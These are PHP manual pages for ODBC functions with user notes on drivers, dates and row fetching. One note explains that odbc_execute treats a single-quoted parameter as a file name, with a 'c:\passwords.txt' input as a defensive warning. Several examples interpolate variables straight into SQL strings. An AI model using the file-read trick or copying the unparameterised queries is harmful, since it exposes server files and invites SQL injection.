$query = odbc_exec($conn, "select * from syscat.tables for read only");
odbc_result_all($query);

will work (only for db2).  I don't know about other databases.

The select statement will work in the 'db2' command line, but not in php, because of this side effect.
rupix at rediffmail dot com 05-Apr-2003 04:05
I tried the following line of code

<?php
$odbc=odbc_connect("pbk", "root","") or die(odbc_errormsg());
$q="insert into pbk values(\"$name\", \"$phone\")";
print $q;
odbc_exec($odbc, $q) or die("<p>".odbc_errormsg());
?>

it does not work. However if I use single quotes instead of \" the thing runs smoothly

thus the following would work

<?php
$odbc=odbc_connect("pbk", "yourworstnightmare","abracadabra") or die(odbc_errormsg());
$q="insert into pbk values('$name', '$phone')";
print $q;
odbc_exec($odbc, $q) or die("<p>".odbc_errormsg());
?>

Also having a user dsn is no good on win2k. Always have a System DSN. I don't know yet what are the implications of the same.
das_yrch at hotmail dot com 07-Mar-2003 12:17
I tried this way to see the results of a query and it works!!

$Conn = odbc_connect
("bbdd_usuaris","","",SQL_CUR_USE_ODBC );

$result=odbc_exec($Conn,"select nom from usuaris;");

while(odbc_fetch_row($result)){
         for($i=1;$i<=odbc_num_fields($result);$i++){
        echo "Result is ".odbc_result($result,$i);
    }
}
miguel dot erill at doymer dot com 24-Jul-2002 12:33
In a previous contribution it was told that if you're running NT/IIS with PHP 3.0.11 you can use MS Access dbs "stored procedures".

That was right, but if those stores procedures have parameters you have to supply them in the command line like this:

$conn_id = odbc_connect( "odbc_test_db", "","", SQL_CUR_USE_DRIVER );
$qry_id = odbc_do( $conn_id, "{CALL MyQuery(".$param.")}" );
martin at NOSPAMkouba dot at 05-Feb-2002 05:37
"[Microsoft][ODBC Microsoft Access Driver] Too few
parameters. Expected 1."

this not so clear to understand error comes when using access-odbc and a field name can't be found. check for correct spelling of fields.
lee200082 at hotmail dot com 22-Jan-2002 02:07
As an addition to the note about square brackets earlier:

Enclosing sql field names in '[' and ']' also allows you to use MS Access reserved words like 'date' and 'field' and 'time' in your SQL query... it seems that the square brackets simply tell Access to ignore any other meaning whatever is inside them has and take them simply as field names.
sk2xml at gmx dot net 21-Nov-2001 03:15
Problem: Fieldnames in SQL-Statement have blanks and [] don't work!

Solution: Try "" instead

Ex.:

SELECT table2.first, table1.[last name] FROM tabel1, table2 -> don't work

SELECT table2.first, table1.\"last name\" FROM tabel1, table2 -> Try this

PS: Don't forget the espace characters !!!
akchu at at ualberta dot ca 08-Jan-2001 05:41
ODBC/MS Access Date Fields:

Matching dates in SELECT statements for MS Access requires the following format:
#Y-m-d H:i:s#

for example:

SELECT * FROM TableName WHERE Birthdate = #2001-01-07 00:00:00#

or

SELECT * FROM TableName WHERE Birthdate BETWEEN #2000-01-07 00:00:00# AND #2001-01-07 00:00:00#

This took me forever to figure out.
vpil at retico dot com 06-Nov-2000 03:24
Additional links to ODBC_exec:
How to actually write the SQL commands:
http://www.roth.net/perl/odbc/faq/
http://www.netaxs.com/~joc/perl/article/SQL.html
Demystifying SQL
BIG REF MANUAL:
http://w3.one.net/~jhoffman/sqltut.htm
Introduction to Structured Query Language
Covers read, add, modify & delete of data.
phobo at at at paradise dot net dot nz 02-Nov-2000 03:26
If Openlink -> MS Access Database fails and gives "Driver Not Capable" error or "No tuples available" warning, use the SQL_CUR_USE_ODBC cursor when using odbc_connect()...

Siggy
andreas dot brunner at rubner dot com 08-Jul-2000 01:54
I wanted to access an MSAccess database via ODBC. The connection functioned without problems, but when I placed a SQL statement into my odbc_exec() i always got an error:
Warning: SQL error: [Microsoft][ODBC Driver Manager] Driver does not support that function, SQL state IM001 in SQLSetStmtOption in \\Server\directory/test.php3 on line 19.

Resolved my problem by myself: i simply had to install a new odbc-driver from the microsoft homepage.
gross at arkana dot de 28-Oct-1999 03:03
If you're running NT/IIS with PHP 3.0.11 and want to use MS Access dbs with "stored procedures" you can send an ODBC SQL query like:
<?php
$conn_id = odbc_connect( "odbc_test_db", "", "", SQL_CUR_USE_DRIVER );
$qry_id = odbc_do( $conn_id, "{CALL MyQuery}" );
?>
This way you don't need to integrate query strings like

SELECT * FROM TblObject WHERE (((TblObject.something) Like "blahblahblah"));

in the php file. You directly call the query "MyQuery" that was generated by MS Access.
rmkim at uwaterloo dot ca 25-Aug-1999 08:13
for Win32(NT) and MSAcess 2000, whenever you retrieve a date column/field, php will automatically convert it to 'yyyy/mm/dd hh:mm:ss' format regardless of the style of date you've denoted in Access.
This seems to pose a problem when you exec SELECT, UPDATE, or DELETE queries, but strangley INSERT works fine. I've tried parsing the date into the desired format, but php still yells criteria mismatch.


Execute a prepared statement

  • « odbc_exec
  • odbc_fetch_array »
  • PHP Manual
  • ODBC Functions
  • Execute a prepared statement

odbc_execute

(PHP 4, PHP 5)

odbc_execute — Execute a prepared statement

Description

bool odbc_execute ( resource $result_id [, array $parameters_array ] )

Executes a statement prepared with odbc_prepare().

Parameters

result_id

The result id resource, from odbc_prepare().

parameters_array

Parameters in parameter_array will be substituted for placeholders in the prepared statement in order. Elements of this array will be converted to strings by calling this function.

Any parameters in parameter_array which start and end with single quotes will be taken as the name of a file to read and send to the database server as the data for the appropriate placeholder.

If you wish to store a string which actually begins and ends with single quotes, you must add a space or other non-single-quote character to the beginning or end of the parameter, which will prevent the parameter from being taken as a file name. If this is not an option, then you must use another mechanism to store the string, such as executing the query directly with odbc_exec()).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 odbc_execute() and odbc_prepare() example

In the following code, $success will only be TRUE if all three parameters to myproc are IN parameters:

<?php
$a = 1;
$b = 2;
$c = 3;
$stmt    = odbc_prepare($conn, 'CALL myproc(?,?,?)');
$success = odbc_execute($stmt, array($a, $b, $c));
?>

If you need to call a stored procedure using INOUT or OUT parameters, the recommended workaround is to use a native extension for your database (for example, mssql for MS SQL Server, or oci8 for Oracle).

Changelog

Version | Description
4.2.0 | File reading is now subject to safe mode and open-basedir restrictions in parameters_array.

See Also

  • odbc_prepare() - Prepares a statement for execution

User Contributed Notes

Marco Napetti 25-Oct-2012 07:18
To use prepared with select queries, the right way is:
<?PHP

$rConnection = odbc_connect('AS400', 'QSECOFR', 'QSECOFR');
if($rConnection === false) {
    throw new ErrorException(odbc_errormsg());
}

$rResult = odbc_prepare($rConnection, 'SELECT * FROM KMNSH00F WHERE SHTMST > ?');
if($rResult === false) {
    throw new ErrorException(odbc_errormsg());
}

if(odbc_execute($rResult, array('0001-01-01 00:00:00.000000')) === false) {
    throw new ErrorException(odbc_errormsg());
}

odbc_result_all($rResult);

odbc_free_result($rResult);

odbc_close($rConnection);

?>
alvaro at demogracia dot com 20-Dec-2011 02:16
When odbc_execute() fails it returns FALSE and triggers a warning but it will not necessarily feed odbc_error() and odbc_errormsg().
anonymous 29-Apr-2009 08:32
if you can't use php_mssql module in your environment (suse linux, apache2, php5, FreeTDS, unixODBC) an alternative is to use sql server functions instead of procedures. here is my sample code.

<?php
  $connect        = odbc_connect($myDB, $myUser, $myPass);

  $query = "SELECT dbo.<function>(<column>,<text>) alias";

  // perform the query
  $result = odbc_exec($connect, $query);

  while(odbc_fetch_row($result)) {
    $Var1    = odbc_result($result, <column alias>);
    //echo "Var1: " . $Var1 . "<br>";

        // add additional logic

  }
?>

Once I figured this out, my app worked perfectly.
jeroen at pyromanic dot nl 05-Jun-2008 10:05
If you want to use stored procedures with MSSQL over ODBC, please read

http://www.sitepoint.com/article/php-microsoft-sql-server/2

It can you save lots of time ;)
traynor at uni hyphen hannover dot de 08-Nov-2007 03:09
Obdc_prepare and obdc_execute can only be used as an alternative to odbc_exec in limited circumstances:

$con = obdc_connect ($dsn, $user, $pass);
$sql = "select * from TABLE";

$result = obdc_exec ($con, $sql); //this line can be replaced as blow
//then to see results:

odbc_result_all ($result);
odbc_free_result ($result);
odbc_close ($con);

gives the same result with the middle line as:

$result = odbc_prepare ($con, $sql);
odbc_execute ($result);

as long as $sql contains a well formed and complete query.

There is no point in trying to convert this into a parameter query with question marks as placeholders, since code like this will result only in error messages:

$sql = "select * from TABLE where needle = ?";
$result = odbc_prepare ($con, $sql);
for ($i = 0; $i < 4; $i++)
{
  odbc_execute ($result, array ($i));
  // and whatever you want to do with the result
  // but all you get is "parameter expected" or "count does not match"
}

The lack of documentation for such functions should have been an alarm signal.
a dot brock at hhv-rheinklang dot de 24-Aug-2006 01:38
I have a solution for the problem with the strings beeing interpreted as filename because of the single quotes:

Just add a blank to the end of the string:

<?php
function odbc_escape_params ($params) {
 if (!is_array($params) or empty($params)) {
  return array();
 }
 foreach ($params as $key=>$val) {
  if (strlen($val) > 1 and $val{0} == "'" and $val{strlen($val)-1} == "'") {
   $params[$key] .= ' ';
  }
 }
 return $params;
}
?>
mjs at beebo dot org 27-Mar-2006 10:57
Don't miss the part where it says that if your string starts and ends with a single quote, the string is interpreted as a filename!

This means that you can't do:

$sth = odbc_prepare($dbh, "INSERT INTO people(name) VALUES(?)");
$res = odbc_execute($sth, array($name));

without checking the value of $name--if $name is, say, '\\'c:\\passwords.txt\\'' the contents of c:\\passwords.txt get inserted into your database as a "name".

Also, despite what the documentation suggests, there (incredibly) doesn't appear to be any way to escape your single quotes (via experimentation, and from reading the source): if your string starts and ends with a single quote you cannot use odbc_execute to insert it into the database.
russell dot brown at removethis dot insignia dot com 09-Feb-2004 09:55
In reply to tcmleung at yahoo dot com (09-Nov-2001), I would add a caveat that I've found, which is that the odbc.defaultlrl/odbc_longreadlen() values may only apply to odbc->php conversion and not php->odbc (though this may be database-specific). Hence, if you want to post binary data the 4096 byte limit still stands. So you stand a better chance of being able to post binary data using the quoted filename upload procedure described above, rather than using the prepare... execute method with data held in a php variable.
svemir_AT_baltok.com 06-Sep-2002 07:45
In reply to cpoirier's note from 04-Mar-2001 03:30:

Currently, Access 2000 DOES support parametrized queries via ODBC. It still seems to have a problem with Memo and OLE fields, but "normal" types work just fine.
tcmleung at yahoo dot com 09-Nov-2001 10:22
odbc has a maximum buffer size, that means it only stores and retrieves a limited size of data to/from database each time. The maximum buffer size is 4096 and set in php.ini (odbc.defaultlrl). You can set it to higher value for larger data access.
sjericson at mindspring dot com 26-Aug-2001 07:43
I don't think odbc_prepare and odbc_execute support output parameters for stored procedures on MSSQL.  An example of output parameters for MSSQL is at  http://support.microsoft.com/support/kb/articles/q174/2/23.asp

Also, my MSSQL driver seems happy only when I use the following incantation:

...code removed...
$stmt=odbc_prepare($conn_id, "exec my_proc_name ?,?,?");
$parms=array("fred","password",5);
if (!odbc_execute($stmt, &$parms)) die("odbc_execute failed");
reaganpr at hotmail dot com 24-Jul-2001 01:50
When running the CGI version of 4.0.6 under windows, I came across this error when trying to call a stored procedure in SQL Server using odbc_execute w/ the parameter array set:

FATAL:  emalloc():  Unable to allocate 268675669 bytes

Scary error, huh? In my case it just meant that SQL Server couldn't find the stored procedure.  Totally my fault, but a rather nondescript error message.

p.
cpoirier at shelluser dot net 04-Mar-2001 11:30
A quick note in hopes that my pain will save someone else:  Microsoft Access ODBC drivers do not support parameterized queries.
edrenth at thematec dot nl 17-Oct-2000 03:17
When used with parameters and the statement fails, you cannot use different arguments anymore, the same arguments as with the failed statement will be used.
tony dot wood at revolutionltd dot com 28-May-1999 01:08
For a simple database insert to a database that has no password and $from and $to are predefined variables.

<?php
/* get connection */
$conn=odbc_connect("mydb","","");

/* run insert */
$stmt = odbc_prepare($conn, "INSERT INTO mytable (jor_from, jor_to) VALUES('$from', '$to');" );

/* check for errors */
if (!odbc_execute($stmt)) {
    /* error  */
    echo "Whoops";
}

/* close connection */
odbc_close($conn);
?>
wntrmute at tampabay dot rr dot com 16-Aug-1998 06:22
Solid Issue:
Solid defines CHAR, VARCHAR, LONG VARCHAR, BINARY, VARBINARY, and LONG VARBINARY to be a maximum of 2G in length.  However, when creating your tables for use with PHP one should choose LONG VARCHAR or LONG VARBINARY for these kinds of fields if you are planning on storing really large or lengthy data.  IE: Data exceeding 64k in length such as GIF/JPG, or really huge text areas.


Fetch a result row as an associative array

  • « odbc_execute
  • odbc_fetch_into »
  • PHP Manual
  • ODBC Functions
  • Fetch a result row as an associative array

odbc_fetch_array

(PHP 4 >= 4.0.2, PHP 5)

odbc_fetch_array — Fetch a result row as an associative array

Description

array odbc_fetch_array ( resource $result [, int $rownumber ] )

Fetch an associative array from an ODBC query.

Parameters

result

The result resource from odbc_exec().

rownumber

Optionally choose which row number to retrieve.

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

Notes

Note: This function exists when compiled with DBMaker, IBM DB2 or UnixODBC support.

See Also

  • odbc_fetch_row() - Fetch a row
  • odbc_fetch_object() - Fetch a result row as an object
  • odbc_num_rows() - Number of rows in a result

User Contributed Notes

Vadim Istratov 10-Nov-2010 01:21
Be careful while using this function with MSSQL for fetching results of SQL queries like following: "SELECT * FROM table". In this case array will NOT contain named indexes!

I.e.:
Table:
------------------------
| col1 | col2 | col3  |
------------------------
|   1   |   2   |   3   |
------------------------
|   4   |   5   |   6   |
------------------------

Code:
---------------------
<?php
$query = "SELECT * FROM table";
$res = odbc_exec($query);

while( $row = odbc_fetch_array($res) ) {
    print_r($row);
}
?>
---------------------

Output will be:
---------------------
Array(
 [0] => 1,
 [1] => 2,
 [2] => 3
)
Array(
 [0] => 4,
 [1] => 5,
 [2] => 6
)
---------------------

No field names here!
James Auxier 27-Mar-2009 07:30
Some interesting behavior was discovered while attempting simultaneous queries to a MS SQL server through the ODBC/freeTDS layer on SUSE on a persistent connection with ODBC cursors enabled. Stepping through the first resource with odbc_fetch_array() in a while loop works as expected, but calls to subsequently created resources within that loop were failing to return data where MySQL equivalents to the script were working just fine.

I found that adding a num_rows function call [custom function that simply steps through the result set... the misbehavior of odbc_num_rows() is another matter] immediately following each odbc_exec() then resetting the cursor seemed to cache the results for proper performance of the multiple active result sets.  It may be slightly slower than the MySQL equivalent, but at least it works.
michael dot buergi at zhdk dot ch 08-May-2008 11:30
I use an odbc connection to a mssql2000 db. As long as I had set ansi_warnings on, I occasionnally got the last record twice when retrieving them with odbc_fetch_array or odbc_fetch_row and odbc_result.
bryant at zionprogramming dot com 21-Mar-2008 12:04
I found the function submitted by jezndiatyahoodotcodotuk to be very helpful.  I'm using PHP 5.2.5 and this function isn't defined, so it may depend on the ODBC driver being used.

The only problem with the solution already posted is that the return values don't match the ones specified by the documentation.  I made the following modification so that the function will work the same whether it exists internally or not:

<?php
if (!function_exists('odbc_fetch_array')) {
    function odbc_fetch_array($result, $rownumber=null) {
        $array = array();
        if (!($cols = odbc_fetch_into($result, $result_array, $rownumber))) {
            return false;
        }
        for ($i = 1; $i <= $cols; $i++) {
            $array[odbc_field_name($result, $i)] = $result_array[$i - 1];
        }
        return $array;
    }
}

?>
luke at croslow dot com 23-Jul-2007 07:18
On IBM DB2 for iSeries I have to specify a specific row number to retrieve. If I don't specify the row number, the behavior is erratic.

This seems to work:

<?php
for($i=1;$row=odbc_fetch_row($result,$i);$i++) {
  //use $row
}
?>

The row count MUST start at 1 or else the behavior seems undefined; i.e., when I start from 0 some rows might be returned two or more times or not at all.
robincw at gnospammail dot com 09-Jan-2007 01:46
I am using MS SQL Server 2005, and using odbc_connect with SQL_CUR_USE_ODBC.

I had a problem with odbc_fetch_array when getting results from a stored procedure that returns a text column. The misleading error I got was:

odbc_fetch_array() [function.odbc-fetch-array]: SQL error: [Microsoft][ODBC Cursor Library] Result set was not generated by a SELECT statement, SQL state SL004 in SQLGetData

Eventually I found that by converting the text column in my database to varchar(8000), it worked fine. Perhaps using CONVERT or CAST might have worked too. I also found that varchar(max) columns were scrambled.
tim at tmcode dot com 15-Sep-2005 05:07
Depending on the odbc driver/operating system you are using,  odbc_fetch_array might not be defined. (ie if you used --with-custom-odbc you may be out of luck).   The following can be safely added to define the odbc_fetch_array function if doesn't exist already.  Unlike some of the other examples contributed here, this one will create the numeric keys and the text keys.   This function is definitely not very optimal because it has to check the number of fields and field names each time a row is pulled.  Often you will be looping through a result set and there is no need to pull this information each time.  It could probably be improved by caching the result of these functions but I'll leave that as an exercise for someone else... :)

if(!function_exists("odbc_fetch_array"))
{

    function odbc_fetch_array($res)
    {
        // make sure to pass back the false if we are out of rows
        if(!odbc_fetch_row($res)) return false;

        $row=array();

        // populate the row array
        $numfields=odbc_num_fields($res);
        for($i=1; $i<=$numfields; $i++)
        {
            //odbc starts its indice at 1 but since I am
            // trying to emulate the functionality of *_fetch_array
            // for other dbs (ie mysql)  I'm going to decrement my
            // my numeric indice by 1.  This might not be what
            // you are after in which case get rid of the -1
            $row[odbc_field_name($res,$i)]=$row[$i-1]=odbc_result($res,$i);

        }
        return $row;
    }

}
Remy 12-Apr-2005 02:35
I use this function to get my recordset in an array, and it's very easy to use.

function dbquery($sql) {
  $arr    = array();
  $conn = odbc_connect('dsn','user','pass');
  $rs     = odbc_exec($conn,$sql);
  $x      = 1;
  while (odbc_fetch_row($rs)) {
    for ($y = 1; $y <= odbc_num_fields($rs); $y++)
      $arr[$x][$y] = odbc_result($rs,$y);
    $x++;
  }
  if ($x > 1)
    return $arr;
}

usage:

$arr=dbquery("SELECT * FROM tblTable");
echo $arr[1][1] //echo's first column of the first row
philip 22-Mar-2005 05:03
This function requires one of the following to exist: Windows, DB2, or UNIXODBC.
miles at e-clipseconsulting dot com 15-Dec-2004 10:47
In response to Sena's post, odbc_num_rows does not always return a row count.  When executing a query on MS Access it seems to return a row count of -1.

<?php

while(odbc_num_rows($myodbcexec)){
       $myarray[] = odbc_fetch_array($myodbcexec);
}

?>

Just something to watch out for when attempting to execute this code.

Miles Phillips
e-Clipse Consulting
russ at russprince dot com 12-Nov-2004 03:57
I really liked Ryan's example so I took it another step and added a recordset class to work with the connection class.  I made slight alterations to the original code as well.  Also note the recordset class takes advantage of php5's __get property function...

<%
class odbcRecordset {
   var $recordcount;
   var $currentrow;
   var $eof;

   var $recorddata;
   var $query;

   function odbcConnection(){
      $this->recordcount = 0;
      $this->recorddata = 0;
   }

   function SetData( $newdata, $num_records, $query ) {
      $this->recorddata = $newdata;
      $this->recordcount = $num_records;
      $this->query = $query;
      $this->currentrow = 0;
      $this->set_eof();
   }

   function set_eof() {
      $this->eof = $this->currentrow >= $this->recordcount;
   }

   function movenext()  { if ($this->currentrow < $this->recordcount) { $this->currentrow++; $this->set_eof(); } }
   function moveprev()  { if ($this->currentrow > 0)                  { $this->currentrow--; $this->set_eof(); } }
   function movefirst() { $this->currentrow = 0; set_eof();                                               }
   function movelast()  { $this->currentrow = $this->recordcount - 1;  set_eof();                         }

   function data($field_name) {
      if (isset($this->recorddata[$this->currentrow][$field_name])) {
         $thisVal = $this->recorddata[$this->currentrow][$field_name];
      } else if ($this->eof) {
         die("<B>Error!</B> eof of recordset was reached");
      } else {
         die("<B>Error!</B> Field <B>" . $field_name . "</B> was not found in the current recordset from query:<br><br>$this->query");
      }

      return $thisVal;
   }

   function __get($field_name) {
      return $this->data($field_name);
   }
}

class odbcConnection {
   var $user;  //Username for the database
   var $pass; //Password

   var $conn_handle; //Connection handle
   var $temp_fieldnames; //Tempory array used to store the fieldnames, makes parsing returned data easier.

   function odbcConnection(){
      $this->user = "";
      $this->pass = "";
   }

   function open($dsn,$user,$pass){
      $handle = @odbc_connect($dsn,$user,$pass,SQL_CUR_USE_ODBC) or
         die("<B>Error!</B> Couldn't Connect To Database. Error Code:  ".odbc_error());
      $this->conn_handle = $handle;
      return true;
   }

   function &execute($query){
      //Create a temp recordset
      $newRS = new odbcRecordset;
      $thisData = "";

      $res = @odbc_exec($this->conn_handle,$query) or
         die("<B>Error!</B> Couldn't Run Query:<br><br>" . $query . "<br><br>Error Code:  ".odbc_error());
      unset($this->temp_fieldnames);

      $i = 0;
      $j = 0;
      $num_rows = 0;

      // only populate select queries
      if (stripos($query, 'select ') !== false) {
         while(odbc_fetch_row($res)) {
            $num_rows++;

            //Build tempory
            for ($j = 1; $j <= odbc_num_fields($res); $j++) {
               $field_name = odbc_field_name($res, $j);
               $this->temp_fieldnames[$j] = $field_name;
               $ar[$field_name] = odbc_result($res, $field_name) . "";
            }

            $thisData[$i] = $ar;
            $i++;
         }
      }

      //populate the recordset and return it
      $newRS->SetData( $thisData, $num_rows, $query );
      return $newRS;
   }
}
%>

usage is pretty simple:

<%
  $con = new odbcConnection
  $con->open("dsn","user","pass")

  $sql = "select bar from foo";
  $rs = $con->execute($sql);

  if (!$rs->eof) {
    print $rs->data("bar");
      // or //
    print $rs->bar;
  }

  while (!$rs->eof) {
    // blah blah code
    $rs->movenext();
  }
%>

Works pretty well, but I haven't thoughly tested it yet.
Code can be dl'd here:

http://www.russprince.com/odbc_functions.zip

Cheers,
Russ
Ryan (rystar_x2000 at hotmail dot com) 10-Apr-2004 03:39
Heya,

After much fiddling around with the odbc_num_rows() function, and trying to get odbc_fetch_array() to play nice with it, I decided to write this little function which will return a 2-dimensional array, in the format [rownumber][field].

The 'rownumber' array index is obviously the number of the row stored in the array.
The 'field' index is keyed to the field name on that row.

--Function--
<?

function fetch2DArray($res){
    $i = 0;
    $j = 0;
    $toReturn = "";

    while(odbc_fetch_row($res))
    {
        for ($j = 1; $j <= odbc_num_fields($res); $j++)
        {
             $field_name = odbc_field_name($res, $j);
             $ar[$field_name] = odbc_result($res, $field_name);
        }

        $toReturn[$i] = $ar;
        $i++;
    }
    return $toReturn;
}
?>

I then took this one stage further.. and wrote a whole class to deal with the odbc connection... it's a bit slap-happy, but it does work well enough.

-- Class --
<?
class odbcConnection{
   var $user;  //Username for the database
   var $pass; //Password
   var $conn_handle; //Connection handle
   var $temp_fieldnames; //Tempory array used to store the fieldnames, makes parsing returned data easier.

   function odbcConnection(){
       $this->user = "";
       $this->pass = "";
   }

       function connectDatabase($dsn_link,$user,$pass){
        $handle = @odbc_connect($dsn_link,$user,$pass,SQL_CUR_USE_DRIVER) or die("<B>Error!</B> Couldn't Connect To Database. Error Code:  ".odbc_error());
        $this->conn_handle = $handle;
        return true;
    }

    function runStoredQuery($query, $returns_results){

    if($returns_results == false){
            return false;
        }

    $toReturn = "";
        $res = @odbc_exec($this->conn_handle, "exec ".$query."") or die("<B>Error!</B> Couldn't Run Stored Query. Error Code:  ".odbc_error());
        unset($this->temp_fieldnames);
            $i = 0;
            $j = 0;

            while(odbc_fetch_row($res))
            {
                  //Build tempory
                for ($j = 1; $j <= odbc_num_fields($res); $j++)
                   {
                     $field_name = odbc_field_name($res, $j);
                     $this->temp_fieldnames[$j] = $field_name;
                      $this->temp_fieldnames[$j];
                     $ar[$field_name] = odbc_result($res, $field_name);
                   }

                $toReturn[$i] = $ar;
                $i++;
             }

     return $toReturn;
    }

    function runSQL($query,$returns_results){
    $toReturn = "";

        $res = @odbc_exec($this->conn_handle,$query) or die("<B>Error!</B> Couldn't Run Query. Error Code:  ".odbc_error());
           unset($this->temp_fieldnames);
        if($returns_results == false){
            return false;
        }

            $i = 0;
            $j = 0;

            while(odbc_fetch_row($res))
            {
                //Build tempory
                for ($j = 1; $j <= odbc_num_fields($res); $j++)
                   {
                     $field_name = odbc_field_name($res, $j);
                     $this->temp_fieldnames[$j] = $field_name;
                     $ar[$field_name] = odbc_result($res, $field_name);
                   }

                $toReturn[$i] = $ar;
                $i++;
             }

     return $toReturn;
    }

}

//And an example of how to use the class:

include("dbClass.inc");  //Where dbClass.inc is the name of the file holding the class

//Declare a new instance of the class
$dbConnection = new odbcConnection;

$dsn = "GroupWork";   //Your System DSN name to point to your database
$dbConnection->connectDatabase($dsn,"","");  //No username and password - read only access

echo"<BR><HR><B>Testing SQL</b><BR><BR>";
$query_result = $dbConnection->runSQL("SELECT * FROM Event WHERE Type = 'Sport' ORDER BY EDate ASC",true);

    if(!$query_result)
    {
        //No Results - Your Error Code Here
    }else{
        //Get the results
        $key = $dbConnection->temp_fieldnames;
        $rows = count($query_result);
        $keys = count($key);
        $i = 0;

        while($i < $rows){
            $j = 1;
            echo "Echoing Row $i:<BR>";

                while($j < $keys - 1){

                    //$query_result[row][field];
                    $result = $query_result[$i][$key[$j]];
                    $field = $key[$j];
                    echo("Field <b>'".$field."'</b> : ".$result." <BR>");

                    $j++;
                }
            echo "<BR>----<BR><BR>";
            $i++;
        }
    }
?>

Hope this was of some help. If anyone has any improvments to the class, please drop them by me.
powerstat at web dot de 27-Mar-2004 01:48
This function is badly implemented, because the fetch_array versions for all other databases are storing the values as associative AND numeric key.
This one only stores as associative key :(
Someone should really cleanup the complete database api design!
xhat at NOSPAM dot hotmail dot com 24-Mar-2004 07:46
This is a quick and dirty way to accomplish the same thing:

<?
while(odbc_fetch_row($result)) {
$var1 = odbc_result($result, "NAMEOFFIELD1");
$var2 = odbc_result($result, "NAMEOFFIELD2");
..... //as many vars as you have fields with data to capture

$array_of_results[] = compact('var1', 'var2','var3', etc, etc)
}
?>

Just turn each returned row's data into variables then use the compact().  Turns each variable name into a key and the vars value into the array value.  Makes a wonderful 2d array that you can walk easily and still use key values to get at data.


Fetch one result row into array

  • « odbc_fetch_array
  • odbc_fetch_object »
  • PHP Manual
  • ODBC Functions
  • Fetch one result row into array

odbc_fetch_into

(PHP 4, PHP 5)

odbc_fetch_into — Fetch one result row into array

Description

int odbc_fetch_into ( resource $result_id , array &$result_array [, int $rownumber ] )

Fetch one result row into array.

Parameters

result_id

The result resource.

result_array

The result array that can be of any type since it will be converted to type array. The array will contain the column values starting at array index 0.

rownumber

The row number.

Return Values

Returns the number of columns in the result; FALSE on error.

Examples

Example #1 odbc_fetch_into() examples

<?php
$rc = odbc_fetch_into($res_id, $my_array);
?>

or

<?php
$rc = odbc_fetch_into($res_id, $my_array, 2);
?>

User Contributed Notes

alvaro at demogracia dot com 05-Apr-2011 12:04
It returns FALSE if there was an error reading the row but also when there aren't more rows available.
brian m 17-Nov-2004 11:58
Here is a very simple mehod to dump SQL results into an array that can be edited and manipulated.
==============================================

//Create the array:
$row = array();
while (odbc_fetch_into($res, $row, ODBC_NUM)) {
    array_push($stuff,$row);
}

//The results are now in an array.  To display the array as an HTML table we can use the following:

foreach($stuff as $line){
    echo "<tr>\n";
    foreach($line as $field){
        echo "<td>".$field."</td>\n";
    }
}

==============================================
Using this method allows a person to control individual data elements in each row and field.  I am far more familiar with ASP and the getrows function but this is the closest equivalent that I have been able to find.

I good friend and co-worker was able to determine how to get this to work.  Thanks Robby.
php at nospamplease dot markjrubin dot com 28-Jun-2004 09:02
Regarding free at muktimedia dot com's problem.

We found a simple solution, just cast the text as ntext in your SQL statement.

SELECT cast ( field_name AS NTEXT ) AS field_name

Mark J Rubin
free at muktimedia dot com 25-Jan-2003 02:23
Problem w/ MSSQL 2000 (or 7 possibly):::::
Warning: SQL error: [Microsoft][ODBC SQL Server Driver]Invalid
Descriptor Index, SQL state S1002 in SQLGetData in ...

http://bugs.php.net/bug.php?id=18514

The above error will be seen when calling @ODBC_RESULT_ALL() on a resultset that contains a field of type 'text' (MSSQL 2K).  If you see this error in @ODBC_RESULT_ALL then surely @ODBC_FETCH_INTO() will return false when the resultset contains a field of type 'text' (MSSQL 2K) - causing headaches.

WORKAROUND : change the field type to NTEXT (SQL 2K/7) - this is preferable in many cases (except DB storage space) since NTEXT is simply Unicode Text.

I tried a workaround at http://www.phpbuilder.com/mail/php-db/2001071/0240.php but this didn't work.

It appears PHP could benefit from an update to its ODBC libraries since 'text' and 'memo' fields are often used in Win32 environments...
PHP at TeamBurke dot com dot NoSpam 16-Nov-2002 05:00
DON'T START AT ROW 0

When using odbc_fetch_into($id,$row_num,$array) don't intialize the $row_num=0.

Why... well if you do this and you have one record in the table you'll get an error... not a problem.  BUT, if you have more than one row in the table, there is no error and the first record in the table is lost.

This may seem obvious, but remember that we count many things starting from 0, so doing it here made sense in my mind.  Took quite some time to solve the problem, because I had used the same method on another page, where there were multiple row records, and that page worked fine.  I just never noticed that it failed to print the first record's information.  So you can imagine my puzzlement when the code worked on one page and not the next.
scott at abcoa dot com 02-Jul-2002 08:41
Using odbc_fetch_into() is becoming tiresome when it had to be changed in php version 4.0.5, 4.0.6 and 4.2.x.  Also, using define() function no longer work well with 4.2.x, so define() is not reliable for odbc_fetch_into().  Time on the job to keep up with the changes is ill-advised.  Turned out the better solution is to use odbc_fetch_array and not have to deal with the hassle of updating the database, web pages, etc.  It is worth the time in the long run.

--clip-- (old script)
define(CUSTOMER_ID,0);
define(CUSTOMER_NAME,1);

//$rows = 1;

if (odbc_fetch_row($result))
{
//odbc_fetch_into($result,1,&$user_detail); //php 4.0.5
//odbc_fetch_into($result,$row,$user_detail); //php 4.0.6
odbc_fetch_into($result,$user_detail,1);  //php 4.2.x
   echo $user_detail[CUSTOMER_ID];
} else {
   echo "Failed!";
}
--clip--
//#########################################
--clip-- (new script)
if (odbc_fetch_row($result))
{
   while($user_detail = odbc_fetch_array($result) ) {
      echo $user_detail[CUSTOMER_ID];
   }
} else {
   echo "Failed!";
}
--clip--

This is pretty useful when we keep adding columns to the database table.  If you combine two tables and have two columns with the same column name, then you'll need to have two seperate array, like $user_detail1 and $user_detail2, etc.  Whatever you can come up with.
matt(at)lazycat(dot)org 04-Sep-2001 03:36
Most annoyingly with PHP 4.0.6, the new "feature" regarding the requirement of the row number to be non-constant means that this code no longer works:

$row_num = 1; $row = array();
while (odbc_fetch_into($result, $row_num++, $row) {
  // Stuff
}

So if you were wondering why, that's why. This infuriated me above all other issues I've had with PHP when I upgraded to 4.0.6
Luckily the workaround is easy enough. Just use $row_num in the odbc_fetch_into() and add $row_num++ inside the while loop. But it's still very annoying! I haven't found any other functions where this is an issue..
doc at vulcanmicro dot com 26-Jun-2001 10:47
Going from php 4.0.5 to php 4.0.6, the following syntax nolonger works:
odbc_fetch_into($result,$start-1,&$fields);
In 4.0.5 it works, in 4.0.6 it produces this error:
Only variables can be passed by reference
The following lines DO work however:
$tmp=$start-1;
odbc_fetch_into($result,$tmp,&$fields);
